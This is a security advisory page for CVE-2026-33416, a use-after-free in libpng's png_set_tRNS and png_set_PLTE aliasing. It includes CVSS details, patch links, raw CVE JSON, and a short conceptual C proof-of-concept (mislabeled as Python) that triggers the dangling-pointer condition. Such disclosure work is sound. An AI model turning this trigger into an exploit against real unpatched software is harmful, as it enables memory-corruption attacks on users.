Security Vulnerability Report
中文
CVE-2026-33416 CVSS 7.5 HIGH

CVE-2026-33416

Published: 2026-03-26 17:16:38
Last Modified: 2026-04-02 20:28:34

Description

LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. In versions 1.2.1 through 1.6.55, `png_set_tRNS` and `png_set_PLTE` each alias a heap-allocated buffer between `png_struct` and `png_info`, sharing a single allocation across two structs with independent lifetimes. The `trans_alpha` aliasing has been present since at least libpng 1.0, and the `palette` aliasing since at least 1.2.1. Both affect all prior release lines `png_set_tRNS` sets `png_ptr->trans_alpha = info_ptr->trans_alpha` (256-byte buffer) and `png_set_PLTE` sets `info_ptr->palette = png_ptr->palette` (768-byte buffer). In both cases, calling `png_free_data` (with `PNG_FREE_TRNS` or `PNG_FREE_PLTE`) frees the buffer through `info_ptr` while the corresponding `png_ptr` pointer remains dangling. Subsequent row-transform functions dereference and, in some code paths, write to the freed memory. A second call to `png_set_tRNS` or `png_set_PLTE` has the same effect, because both functions call `png_free_data` internally before reallocating the `info_ptr` buffer. Version 1.6.56 fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
LIBPNG 1.2.1 to 1.6.55

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-33416: LibPNG Use-After-Free * Conceptual demonstration of the aliasing issue. */ #include <png.h> void trigger_vulnerability() { png_structp png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); png_infop info_ptr = png_create_info_struct(png_ptr); png_color palette[256]; png_byte trans_alpha[256]; // Set palette and trans_alpha, creating the shared allocation alias png_set_PLTE(png_ptr, info_ptr, palette, 256); png_set_tRNS(png_ptr, info_ptr, trans_alpha, 256, NULL); // Free data via info_ptr. png_ptr->palette and png_ptr->trans_alpha are now dangling. png_free_data(png_ptr, info_ptr, PNG_FREE_PLTE, 1); png_free_data(png_ptr, info_ptr, PNG_FREE_TRNS, 1); // Subsequent operations (e.g., row processing) dereference the freed memory. // This causes the Use-After-Free condition. }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33416", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:38.443", "lastModified": "2026-04-02T20:28:33.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. In versions 1.2.1 through 1.6.55, `png_set_tRNS` and `png_set_PLTE` each alias a heap-allocated buffer between `png_struct` and `png_info`, sharing a single allocation across two structs with independent lifetimes. The `trans_alpha` aliasing has been present since at least libpng 1.0, and the `palette` aliasing since at least 1.2.1. Both affect all prior release lines `png_set_tRNS` sets `png_ptr->trans_alpha = info_ptr->trans_alpha` (256-byte buffer) and `png_set_PLTE` sets `info_ptr->palette = png_ptr->palette` (768-byte buffer). In both cases, calling `png_free_data` (with `PNG_FREE_TRNS` or `PNG_FREE_PLTE`) frees the buffer through `info_ptr` while the corresponding `png_ptr` pointer remains dangling. Subsequent row-transform functions dereference and, in some code paths, write to the freed memory. A second call to `png_set_tRNS` or `png_set_PLTE` has the same effect, because both functions call `png_free_data` internally before reallocating the `info_ptr` buffer. Version 1.6.56 fixes the issue."}, {"lang": "es", "value": "LIBPNG es una biblioteca de referencia para su uso en aplicaciones que leen, crean y manipulan archivos de imagen ráster PNG (Portable Network Graphics). En las versiones 1.2.1 a 1.6.55, 'png_set_tRNS' y 'png_set_PLTE' cada una aliasan un búfer asignado en el heap entre 'png_struct' y 'png_info', compartiendo una única asignación entre dos estructuras con vidas útiles independientes. El aliasing de 'trans_alpha' ha estado presente desde al menos libpng 1.0, y el aliasing de 'palette' desde al menos 1.2.1. Ambos afectan a todas las líneas de versiones anteriores: 'png_set_tRNS' establece 'png_ptr-&gt;trans_alpha = info_ptr-&gt;trans_alpha' (búfer de 256 bytes) y 'png_set_PLTE' establece 'info_ptr-&gt;palette = png_ptr-&gt;palette' (búfer de 768 bytes). En ambos casos, llamar a 'png_free_data' (con 'PNG_FREE_TRNS' o 'PNG_FREE_PLTE') libera el búfer a través de 'info_ptr' mientras que el puntero 'png_ptr' correspondiente permanece colgante. Las funciones de transformación de fila subsiguientes desreferencian y, en algunas rutas de código, escriben en la memoria liberada. Una segunda llamada a 'png_set_tRNS' o 'png_set_PLTE' tiene el mismo efecto, porque ambas funciones llaman internamente a 'png_free_data' antes de reasignar el búfer de 'info_ptr'. La versión 1.6.56 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.2.1", "versionEndExcluding": "1.6.56", "matchCriteriaId": "C54F2804-F7D5-4BC5-B39A-44300C6A6F98"}]}]}], "references": [{"url": "https://github.com/pnggroup/libpng/commit/23019269764e35ed8458e517f1897bd3c54820eb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/commit/7ea9eea884a2328cc7fdcb3c0c00246a50d90667", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/commit/a3a21443ed12bfa1ef46fa0d4fb2b74a0fa34a25", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/commit/c1b0318b393c90679e6fa5bc1d329fd5d5012ec1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/pull/824", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-m4pc-p4q3-4c7j", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}